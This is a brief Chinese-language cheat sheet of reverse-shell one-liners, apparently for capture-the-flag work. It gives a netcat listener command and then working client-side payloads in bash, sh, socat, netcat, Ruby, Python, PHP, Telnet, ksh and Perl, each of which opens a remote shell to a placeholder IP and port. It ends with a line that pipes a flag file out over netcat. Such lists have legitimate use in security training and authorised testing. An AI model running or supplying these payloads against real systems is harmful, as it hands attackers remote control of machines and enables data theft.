在服务端启动

nc -nvlp YOUR_PORT

在客户端执行

bash

bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1

sh

0<&196;exec 196<>/dev/tcp/YOUR_IP/YOUR_PORT; sh <&196 >&196 2>&196

socat

socat tcp-connect:YOUR_IP:YOUR_PORT exec:sh,pty,stderr,setsid,sigint,sane

nc

normal
nc -e /bin/sh YOUR_IP YOUR_PORT
without -e
touch /tmp/f; rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc YOUR_IP YOUR_PORT > /tmp/f

Ruby

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("YOUR_IP","YOUR_PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",YOUR_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("YOUR_IP",YOUR_PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

Telnet

TF=$(mktemp -u); mkfifo $TF && telnet YOUR_IP YOUR_PORT 0<$TF | /bin/sh 1>$TF

ksh

ksh -c 'ksh -i > /dev/tcp/YOUR_IP/YOUR_PORT 2>&1 0>&1'

Perl

perl -e 'use Socket;$i="YOUR_IP";$p=YOUR_PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl Windows

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"YOUR_IP:YOUR_PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

当你只需要将命令执行结果发回去的时候：

cat /flag | nc YOUR_IP YOUR_PORT这样就行了